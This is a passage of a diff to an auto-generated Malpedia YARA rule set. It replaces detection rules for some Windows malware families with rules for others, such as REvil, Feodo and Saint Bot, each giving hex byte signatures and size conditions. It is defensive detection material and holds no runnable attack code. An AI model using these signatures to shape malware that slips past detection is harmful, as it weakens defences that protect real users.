-		$sequence_2 = { ff750c c745f002000000 897dec c745e401000000 57 897de0 ff7508 }
-		$sequence_3 = { 53 50 8d85f4fffdff 56 50 ff35???????? }
-		$sequence_4 = { 83c418 57 50 8d8528ffffff 50 ffb690000000 e8???????? }
-		$sequence_5 = { 6a10 57 681cc10000 897df4 ff750c c745f002000000 }
-		$sequence_6 = { 53 53 8b4010 8d4d0c }
-		$sequence_7 = { e8???????? 83c40c 837df400 7408 ff75f4 e8???????? }
-		$sequence_8 = { 83c41c 33c0 808405dcf9fffffb 40 }
-		$sequence_9 = { 6a01 ff35???????? ff15???????? 8bd8 8b4508 46 6a00 }
+		$sequence_0 = { 6814020000 e8???????? 59 c3 }
+		$sequence_1 = { e9???????? 68f4010000 ff15???????? 56 }
+		$sequence_2 = { 7244 6801010000 ff15???????? 8b4d18 663901 }
+		$sequence_3 = { 7502 c9 c3 33c0 837dfc20 }
+		$sequence_4 = { 0fb7c8 c1e110 e8???????? 0fb7c0 0bc1 c9 c3 }
+		$sequence_5 = { 773d 0fbec0 83e857 8ada 2ad9 c1e004 80fb09 }
+		$sequence_6 = { c1fa02 8b1496 83e103 c1e103 }
+		$sequence_7 = { 41 3bc8 7cf4 83f903 }
+		$sequence_8 = { 57 4883ec20 4032ff 488bda 8bf1 4885d2 }
+		$sequence_9 = { 488bc8 ff15???????? 85c0 7455 4c8d442434 }
+		$sequence_10 = { 488bcb e8???????? 4c8d5e01 41b8f7ffffff 6666660f1f840000000000 488bcf 418d4008 }
+		$sequence_11 = { 4433c0 418bc5 23c6 33c8 418bc1 4403c1 }
+		$sequence_12 = { 663907 7530 8b4604 394704 7528 8b4608 394708 }
+		$sequence_13 = { 498d43e8 33ff 488bf2 498943d8 498d4318 488bd9 488bd1 }
+		$sequence_14 = { 440fb69c249f000000 0fb68c249d000000 0fb694249c000000 440fb694249b000000 }
+		$sequence_15 = { 488bcb e8???????? 85c0 750d 33c0 488b5c2430 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <590848
 }
-rule MALPEDIA_Win_Taintedscribe_Auto : FILE
+rule MALPEDIA_Win_Avrecon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "62c390fd-70d7-5d2c-ab35-2685bb241f72"
+		id = "554ca169-95af-5a89-9a56-ddcba6897449"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.taintedscribe_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avrecon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avrecon_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "9db61e016991abab1a5db24c238ca36eb7d715a36997cda629b6ade68b20e5c3"
+		logic_hash = "9c9411fb28d3d6162f9e1c850b8f8c9dc5dad1f470c391d983f628f3870dd7ec"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138807,32 +145810,32 @@ rule MALPEDIA_Win_Taintedscribe_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bc8 8b858cf7ffff 83e103 6a02 f3a4 6a00 }
-		$sequence_1 = { 8d4ddc 898db8fcffff 8bcf 0facd108 }
-		$sequence_2 = { 8b5358 898d88fbffff 8b4b50 0f94c0 }
-		$sequence_3 = { 85c0 7405 8b4d98 8908 85db }
-		$sequence_4 = { 894e3c 894e44 895648 33c0 5e 8b4dfc 33cd }
-		$sequence_5 = { 8b4dcc 894308 8b45d0 50 }
-		$sequence_6 = { 42 83fa1c 7cbb 81ff00010000 0f94c1 0fb6c1 68???????? }
-		$sequence_7 = { c68577fbffff01 7507 c68577fbffff00 c78570fbffff08000000 }
-		$sequence_8 = { 83c40c 098658af0100 8d0419 89865caf0100 83f810 }
-		$sequence_9 = { bb01000000 d3e3 33c0 85db 7e1e 8d4900 }
+		$sequence_0 = { 56 e8???????? 85c0 0f8577020000 8d8584fbffff 50 56 }
+		$sequence_1 = { 89b5f0fdffff 899decfdffff 89b5f4feffff 899df0feffff ff15???????? 8945fc }
+		$sequence_2 = { 56 47 e8???????? 0fb7f0 663bf3 0f869b030000 }
+		$sequence_3 = { e8???????? 53 ff15???????? 8b35???????? 8d4554 50 0fb705???????? }
+		$sequence_4 = { e8???????? 83c410 5e c3 55 8bec 81ec04010000 }
+		$sequence_5 = { 50 6880000000 57 ff7508 ffd6 6a04 8d45f8 }
+		$sequence_6 = { 49 7524 50 a3???????? ff15???????? e8???????? }
+		$sequence_7 = { e8???????? 56 6a08 8d45d8 50 ff7508 c645d800 }
+		$sequence_8 = { 56 8bf8 ff15???????? 668bc7 5f 5e }
+		$sequence_9 = { 50 8d85c0f7ffff 50 e8???????? 8d85a8f7ffff 50 894534 }
 
 	condition:
-		7 of them and filesize <524288
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Ascentloader_Auto : FILE
+rule MALPEDIA_Win_Apocalypse_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a27ad34c-c5db-5069-a642-46b14138c3be"
+		id = "d42c3028-47d8-5c2a-8245-ee48597fdb68"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ascentloader_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.apocalypse_ransom_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "9df20341633fa22f46dd0bb0a3d7ffdb7631f541fddea2f57343c78db84232a1"
+		logic_hash = "3006a8aede4427b243aedfb686311f3de66b1be38f627de23e7cfc996b17033d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138846,32 +145849,32 @@ rule MALPEDIA_Win_Ascentloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 1bc0 f7d8 eb02 8bc3 85c0 }
-		$sequence_1 = { 741b 6a1a 2bf7 59 }
-		$sequence_2 = { 85c0 7414 8b0f e8???????? 8b4e48 e8???????? 33c0 }
-		$sequence_3 = { 40 001c5b 40 0023 }
-		$sequence_4 = { c78564ffffff76650d0a 66c78568ffffff0d0a c6856affffff00 f30f7f856cffffff 660f6f05???????? f30f7f857cffffff }
-		$sequence_5 = { 6a01 58 0f43f0 6a22 59 }
-		$sequence_6 = { 40 0038 aa 40 }
-		$sequence_7 = { 83f8ff 7518 ff15???????? 57 ff15???????? ff15???????? e9???????? }
-		$sequence_8 = { 85c0 7508 6a11 e8???????? 59 ff34f5c8484100 }
-		$sequence_9 = { 8d45e0 50 56 ff15???????? 8b5dec }
+		$sequence_0 = { ff15???????? 68???????? 8d84240c040000 50 ff15???????? 85c0 742f }
+		$sequence_1 = { 83f8ff 755f 6a01 8d44240c 50 8d8c2410040000 }
+		$sequence_2 = { 0bfb ff15???????? 33d2 83f802 }
+		$sequence_3 = { 8d4c2410 68???????? 51 ff15???????? 83c410 6a00 6a00 }
+		$sequence_4 = { ffd6 b801000000 5e 83c418 c3 33c0 }
+		$sequence_5 = { 68???????? 6a00 ffd7 8bf0 85f6 7504 5f }
+		$sequence_6 = { 83f8ff 7411 50 ff15???????? 8d0424 50 ff15???????? }
+		$sequence_7 = { 83c40c 57 53 ff15???????? 6800800000 }
+		$sequence_8 = { ffd7 85c0 7440 8b1d???????? 8b2d???????? 8b542410 8d4c2410 }
+		$sequence_9 = { 6a03 6800000040 52 ffd6 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Lightlesscan_Auto : FILE
+rule MALPEDIA_Win_Revil_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0e07ce78-7b41-59eb-abf5-c61709c5b1e0"
+		id = "81d28baf-82e1-54c0-bbf9-d56336789206"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightlesscan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lightlesscan_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.revil_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "75c6d82588f11dc73e097a77d8f1194031d887782bbdd3a0785b555591ab1fe4"
+		logic_hash = "2c34d02da785d928c9b5b4ca67c597715944f5d05b15c54928c0e64e7282a006"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138885,34 +145888,34 @@ rule MALPEDIA_Win_Lightlesscan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 33db 48895c2460 488b4d70 4885c9 7405 e8???????? }
-		$sequence_1 = { b890100000 e8???????? 482be0 48c7442458feffffff 48899c24c8100000 4889b424d0100000 4889bc24d8100000 }
-		$sequence_2 = { 4863d8 e8???????? 488bd3 b940000000 ffd0 488d0deaa20300 c705????????01000000 }
-		$sequence_3 = { 488d0d50c00100 e8???????? 4983c8ff ba80000000 488905???????? 488d0da05d0500 4885c0 }
-		$sequence_4 = { 4881c440020000 5b f3c3 8815???????? 0100 a9150100c7 150100d615 }
-		$sequence_5 = { 498bcc e8???????? 488d1564b70500 41b804000000 498bcc e8???????? 488d1567b70500 }
-		$sequence_6 = { 4889442420 e8???????? eb0c 4c8d0d68440100 e8???????? 488d0d8cc10100 }
-		$sequence_7 = { 488d0d23b40600 ffd0 48833d????????00 7415 488d0db04a0300 e8???????? 488b0d???????? }
-		$sequence_8 = { 7506 ff15???????? 4489bc24f8000000 488b07 418bf7 0fb74814 }
-		$sequence_9 = { 488d4d30 33d2 41b801100000 e8???????? 33d2 41b8faff0000 488bce }
+		$sequence_0 = { 334f1c 83c720 d1f8 83e801 89450c e9???????? 8b7510 }
+		$sequence_1 = { 50 e8???????? 8b7d08 8db568ffffff 83c414 }
+		$sequence_2 = { 83e801 eb07 b00a 5d c3 83e862 7428 }
+		$sequence_3 = { 8d8510ffffff 50 8d8560ffffff 50 8d45b0 50 e8???????? }
+		$sequence_4 = { ff750c 8d45b0 50 8d85c0feffff 50 }
+		$sequence_5 = { 8b4508 8b404c 8945f0 8b45e8 894b28 f7d0 23c2 }
+		$sequence_6 = { 334de0 8b4048 8b5d08 8945ec 8b4508 }
+		$sequence_7 = { ff7520 e8???????? 8d8580feffff 50 ff7524 }
+		$sequence_8 = { 8975d8 0fb645ff 0bc8 8bc1 894dd8 }
+		$sequence_9 = { 83e813 0f8461060000 83e83d 0f84fa020000 f6c204 7411 80f92c }
 
 	condition:
-		7 of them and filesize <1399808
+		7 of them and filesize <155794432
 }
-rule MALPEDIA_Win_Redsalt_Auto : FILE
+rule MALPEDIA_Win_Saint_Bot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "295994ac-254e-59ee-b227-ac14e9e1f055"
+		id = "714c3147-1158-5cc4-a0a2-d44deb9955a4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redsalt_auto.yar#L1-L217"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.saint_bot_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "03f89ce4b045eb8ff5f60169a4045ddc5e403a310ae115cf10989b990183d50a"
+		logic_hash = "74c58e6c0a61984f0e7d1e5e39218efbc9c3b95b70a89e37e515f61493396398"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -138924,47 +145927,32 @@ rule MALPEDIA_Win_Redsalt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 750b 68e8030000 ff15???????? e8???????? }
-		$sequence_1 = { 83c414 33c9 83f8ff 0f95c1 }
-		$sequence_2 = { e8???????? 85c0 750a 6a32 }
-		$sequence_3 = { c745d060ea0000 6a04 8d45d0 50 6806100000 }
-		$sequence_4 = { 51 ffd6 85c0 7510 }
-		$sequence_5 = { 85c0 7515 c705????????01000000 ff15???????? e9???????? }
-		$sequence_6 = { 83c9ff 85f6 7c0e 83fe7f 7f09 }
-		$sequence_7 = { 6a01 6a00 6a01 6800000080 }
-		$sequence_8 = { 7509 80780120 7503 83c002 }
-		$sequence_9 = { 8d8530fcffff 50 e8???????? 83c40c }
-		$sequence_10 = { 6a00 52 c744242401000000 8944242c c744243002000000 ff15???????? }
-		$sequence_11 = { c60100 5f 5e 33c0 }
-		$sequence_12 = { 83c40c eb02 33c0 8b4df4 }
-		$sequence_13 = { e8???????? 83c408 6800010000 68???????? }
-		$sequence_14 = { c1fa04 c0e302 0ad3 83c004 }
-		$sequence_15 = { 833800 750f c705????????01000000 e9???????? }
-		$sequence_16 = { eb03 83caff 8b442410 c0e106 }
-		$sequence_17 = { f7e7 8bea d1ed 33c0 83ef03 8a06 83c603 }
-		$sequence_18 = { c644243423 c644243572 c64424367a c644243700 }
-		$sequence_19 = { c8201cdd f7be5b408d58 1b7f01 d2cc }
-		$sequence_20 = { d2cc bbe3b46b7e 6aa2 dd45ff }
-		$sequence_21 = { e8???????? 85ed 4863cd 488be8 }
-		$sequence_22 = { e8???????? 8905???????? 48488b942498020000 488b8c2490020000 }
-		$sequence_23 = { e8???????? 8903 83f8ff 0f858e3e0b00 }
-		$sequence_24 = { e8???????? 8905???????? 4883c428 7502 }
+		$sequence_0 = { 85f6 7432 837d10ff 7405 3b5d10 744f 6a04 }
+		$sequence_1 = { 894df8 894dec ff15???????? 8d45ec 50 8d45f8 50 }
+		$sequence_2 = { 668945e8 83c002 668945ea 8d45e0 8945d0 }
+		$sequence_3 = { c3 55 8bec 8b550c 53 0fb71a 6685db }
+		$sequence_4 = { 6a78 68f0000000 b800000080 50 50 680000cf00 }
+		$sequence_5 = { 85c0 0f84c7000000 85ff 7404 c6043800 }
+		$sequence_6 = { 58 6a63 668945cc 58 6a30 }
+		$sequence_7 = { 56 57 e8???????? ff75f0 56 57 e8???????? }
+		$sequence_8 = { 57 ff15???????? 56 6880000000 6a02 56 }
+		$sequence_9 = { 8bf0 ff15???????? 6a00 6a06 56 6a04 50 }
 
 	condition:
-		7 of them and filesize <2957312
+		7 of them and filesize <93184
 }
-rule MALPEDIA_Win_Buhtrap_Auto : FILE
+rule MALPEDIA_Win_Feodo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "25eb4b11-3715-52d0-a7c7-9dac6aa80ccc"
+		id = "63743f44-4e6b-5a91-9837-bc3f6dee3649"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.buhtrap_auto.yar#L1-L162"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.feodo_auto.yar#L1-L175"
 		license_url = "N/A"
-		logic_hash = "d4e0c8ac83aa0b6c13a2f72737ffccb143e82cce7ba2ea9d1a844cc8381c4b50"
+		logic_hash = "b3401747482af4dd4837f27d2a5311953b45c82ad5e6a5cd690191bf7d127342"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138978,37 +145966,38 @@ rule MALPEDIA_Win_Buhtrap_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 59 59 84c0 0f8435010000 }
-		$sequence_1 = { 7423 8b44240c 33d2 6a64 59 f7f1 }
-		$sequence_2 = { c3 b301 ebe1 55 8bec 83ec18 }
-		$sequence_3 = { 6a00 50 8d442414 c744242c04000000 }
-		$sequence_4 = { 6a06 8bce e8???????? 8a1d???????? 56 }
-		$sequence_5 = { 0f8489000000 837d1400 747b 6a09 59 33c0 8d7c242c }
-		$sequence_6 = { 7405 e8???????? 85f6 7907 32c0 e9???????? 8365f000 }
-		$sequence_7 = { ffd6 57 ffd6 33c0 85db 0f94c0 5f }
-		$sequence_8 = { 754e 6a01 53 50 }
-		$sequence_9 = { 53 68???????? 890e 894604 e8???????? 50 }
-		$sequence_10 = { 897dfc e8???????? 59 84c0 0f8497000000 3bdf }
-		$sequence_11 = { 6aff ff742420 ff7624 ffd7 ff742418 e8???????? }
-		$sequence_12 = { ffd7 6a00 689385e784 6a28 68???????? }
-		$sequence_13 = { 894624 8b442414 894604 a808 7466 }
-		$sequence_14 = { 753d 8b4e2c 83c104 e8???????? e8???????? }
+		$sequence_0 = { 83c120 8d51d0 83fa09 7704 8bca eb10 8d519f }
+		$sequence_1 = { 6a00 8d542424 52 6a00 ff15???????? 85c0 }
+		$sequence_2 = { 7422 83e801 7404 83c8ff c3 8b4c2404 b802000000 }
+		$sequence_3 = { 6a00 8d4c240c 51 52 50 8b442414 50 }
+		$sequence_4 = { 56 57 33ff 57 6a02 6a02 57 }
+		$sequence_5 = { 742f 8b0f 6a01 68???????? 68???????? }
+		$sequence_6 = { 50 8b442414 50 ff15???????? 85c0 7405 }
+		$sequence_7 = { 6a00 8d942418020000 52 50 }
+		$sequence_8 = { 3452 e8???????? 0202 0202 1c83 0000 }
+		$sequence_9 = { 229921688d3c 2ee83e207468 60 238b0d03c783 782e 1463 }
+		$sequence_10 = { 006c082e 08cc 6969690bc8cc69 690c2e2e0b8ce0 04f7 e10c 206d53 }
+		$sequence_11 = { 150d14f452 696969697f3cc3 af e2c3 }
+		$sequence_12 = { 041e 6e 18b8161e6e18 b8161e33c9 0000 16 43 }
+		$sequence_13 = { 0404 0404 0316 16 }
+		$sequence_14 = { 0056b0 2e2801 0bd0 83c4ce 00576a 05c705c07f }
+		$sequence_15 = { 007538 034568 3327 325616 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <270336
 }
-rule MALPEDIA_Win_Kuluoz_Auto : FILE
+rule MALPEDIA_Win_Socks5_Systemz_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5fb3985a-aeab-550e-a023-7a6297ba36e6"
+		id = "11fdca9d-b672-58c8-b928-df2c27b8d2c6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kuluoz_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.socks5_systemz_auto.yar#L1-L97"
 		license_url = "N/A"
-		logic_hash = "50bc1e4e578c80bb3ef2f204a6ac7dc8f957cf6ffcd8541a192712c749d0e03e"
+		logic_hash = "c567898c7f496303ddbf924e08954da7846c60ee6266bcbd0213f34733b6e6b6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139022,32 +146011,30 @@ rule MALPEDIA_Win_Kuluoz_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 6a00 8b45cc 50 ff55ec 8945c8 837dc800 }
-		$sequence_1 = { 52 8b45fc 8b4840 51 e8???????? 83c40c 8b55fc }
-		$sequence_2 = { 83c001 8b4d0c 898146120000 837dfc04 7552 }
-		$sequence_3 = { 8b4508 50 8d4dd8 51 e8???????? 8b10 }
-		$sequence_4 = { 338df4feffff 8985f0feffff 898df4feffff 68ff000000 8d95f8feffff 52 e8???????? }
-		$sequence_5 = { 7502 eb05 e9???????? 837dfc06 0f84a2000000 837dfc04 7552 }
-		$sequence_6 = { 83fa0a 7409 0fbe4508 83f80d 7504 b001 }
-		$sequence_7 = { 8b45fc 0fb60c02 51 e8???????? 0fbed0 3bf2 7404 }
-		$sequence_8 = { 8bec 81ec780a0000 a1???????? 33c5 8945fc }
-		$sequence_9 = { f7f1 0fbe9204605009 8b45f8 0345fc 0fbe08 }
+		$sequence_0 = { 50 64892500000000 83ec14 894df0 8b45f0 83c018 }
+		$sequence_1 = { 8b45c8 c6041000 b901000000 6bd100 8b8500feffff }
+		$sequence_2 = { 8b45d4 8945e0 8b4ddc 51 }
+		$sequence_3 = { 8b45d8 8945f0 837df000 7413 }
+		$sequence_4 = { 8b45cc c6041000 b901000000 6bd100 8b45c8 c6041000 }
+		$sequence_5 = { 8b45cc 50 e8???????? 59 c3 8d4dd8 }
+		$sequence_6 = { 8b45d0 e9???????? e9???????? 837dcc00 }
+		$sequence_7 = { 8b45d8 50 8b4df0 83c124 }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <491520
 }
-rule MALPEDIA_Win_Crat_Auto : FILE
+rule MALPEDIA_Win_Scranos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5ca84b15-9c50-5146-aeb0-8e43c37e0140"
+		id = "366bbb3b-fd76-5e48-ad2c-11dfe56c53aa"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crat_auto.yar#L1-L175"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scranos_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "a19b8917ee2e01478bdd8090b22583a65c2cc48e63af4151406da25e5b4c7a8a"
+		logic_hash = "5a9a306a889eeb594e8f9ae05b85780def5b0ff2c4ea6f54823c4b6d5baa27b1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139061,39 +146048,32 @@ rule MALPEDIA_Win_Crat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 488bd0 488d8d90010000 e8???????? 90 }
-		$sequence_1 = { e8???????? 488bd0 488d8d88000000 e8???????? 90 }
-		$sequence_2 = { 7406 e8???????? 90 488b542420 4883c2e8 }
-		$sequence_3 = { e8???????? 488bc8 4885c0 7433 }
-		$sequence_4 = { e8???????? 488bd0 488d8da8010000 e8???????? 90 }
-		$sequence_5 = { 48f7c20000ffff 7523 0fb7fa 8bcf e8???????? 4885c0 7427 }
-		$sequence_6 = { e8???????? 488bd0 488d4d58 e8???????? 90 }
-		$sequence_7 = { ebd0 498bc4 48833d????????10 480f4305???????? 482bc8 }
-		$sequence_8 = { 33d2 c1e902 f7f1 eb02 }
-		$sequence_9 = { ffd0 85c0 750f ff15???????? }
-		$sequence_10 = { 8bcb e8???????? 8b55d8 8b4b0c }
-		$sequence_11 = { 8bcb e8???????? 8b4b0c 8d4101 }
-		$sequence_12 = { 8b4004 8bca 3bc2 0f47c8 51 8b4d10 e8???????? }
-		$sequence_13 = { 8b4b0c 8d4101 89430c c60100 8b4dd4 41 }
-		$sequence_14 = { 8b4324 668948fe c740f800000000 c740f400000000 c740f000000000 5f 5e }
-		$sequence_15 = { 8b5508 0f57c0 56 8b750c b896000000 f30f7f01 }
-		$sequence_16 = { 8b4b0c 8d4101 89430c 8a45d3 8801 8b4dd4 41 }
+		$sequence_0 = { e8???????? 83c404 8b55cc 8d440201 8945cc ebb5 8b4de4 }
+		$sequence_1 = { 8b8e70010000 8d542430 52 8b966c010000 8d442438 50 8d86b0030000 }
+		$sequence_2 = { eb13 8b4608 8b4e04 8b16 50 51 52 }
+		$sequence_3 = { e8???????? 83c428 e9???????? 8b55ec 8b42e4 50 8b4df4 }
+		$sequence_4 = { e8???????? 83c40c 85c0 0f8515070000 8b54241c 52 56 }
+		$sequence_5 = { 89834c010000 7523 8b542410 52 8d442420 50 8d8bc8000000 }
+		$sequence_6 = { 8b4d24 e8???????? 8945a0 8b4da0 894d9c c745fc00000000 8d55ac }
+		$sequence_7 = { 8b55e8 8b849544ffffff 89448d8c 8b4de8 8b948d30ffffff 8b4248 8b4de8 }
+		$sequence_8 = { 8b6c2410 57 8b7d00 8b87840c0000 81c7680c0000 8d4f0c 8944240c }
+		$sequence_9 = { c645fc00 8d4dc8 e8???????? c745fcffffffff 8d4da8 e8???????? 8b4594 }
 
 	condition:
-		7 of them and filesize <4161536
+		7 of them and filesize <2859008
 }
-rule MALPEDIA_Win_Dripion_Auto : FILE
+rule MALPEDIA_Win_Fusiondrive_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "89e91029-adf0-5373-91d6-441ac823d2ed"
+		id = "d735e520-5418-5676-9517-95f81cfe7607"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dripion_auto.yar#L1-L108"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fusiondrive_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "6b099e3758909dfda12afb8709370979b2c037becc9af1305c25dce794b98386"
+		logic_hash = "b988107dd8630d41b8dbc9f6aa013be888aa54392baf79daf500a205d72bf5ae"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139107,32 +146087,32 @@ rule MALPEDIA_Win_Dripion_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd6 8bf8 ffd6 0faff8 ffd6 }
-		$sequence_1 = { 03f8 7402 ffd6 ffd6 }
-		$sequence_2 = { ffd6 8bf8 ffd6 0faff8 8d3c7f }
-		$sequence_3 = { 03f8 ffd6 8bd8 ffd6 0fafd8 ffd6 }
-		$sequence_4 = { ffd6 03f8 8d3c7f ffd6 }
-		$sequence_5 = { 7513 6a64 ff15???????? 68???????? }
-		$sequence_6 = { 8bf8 ffd6 0faff8 8d3c7f }
-		$sequence_7 = { ffd6 03f8 ffd6 8bd8 }
-		$sequence_8 = { 7402 ffd6 ffd6 ffd6 }
-		$sequence_9 = { ffd6 03f8 7402 ffd6 }
+		$sequence_0 = { 48898620020000 0fb7c0 66f3ab 488d3d501c0100 482bfe 8a041f }
+		$sequence_1 = { 0f846f010000 660f6f05???????? f30f7f442470 66c745806557 c6458200 488d542470 488bc8 }
+		$sequence_2 = { 7735 488bd1 4983ff08 7203 }
+		$sequence_3 = { 4c8d4c2440 4983fd08 4d0f43cf 488d7c2420 4983fc08 490f43fa 4c8b5c2450 }
+		$sequence_4 = { 4863c9 4c8d0514070100 488bc1 83e13f 48c1f806 488d14c9 498b04c0 }
+		$sequence_5 = { 0fb60a 83e10f 4c8d05f899ffff 4a0fbe8401a8150100 }
+		$sequence_6 = { 488b542450 488bc8 488902 488b5310 ff15???????? 33c0 }
+		$sequence_7 = { ff15???????? 8d0c4501000000 4103cf 458d7c2402 418bd7 }
+		$sequence_8 = { ff15???????? 3db7000000 0f8432060000 33ff 8bcf }
+		$sequence_9 = { 7528 48897df7 48c745ff07000000 66897de7 }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <290816
 }
-rule MALPEDIA_Win_Aveo_Auto : FILE
+rule MALPEDIA_Win_Crosswalk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "20a83532-4a6e-562c-b0b0-f75c536df8d1"
+		id = "4e86aa0a-7e26-5d10-b3ce-967831f39ceb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aveo_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crosswalk_auto.yar#L1-L164"
 		license_url = "N/A"
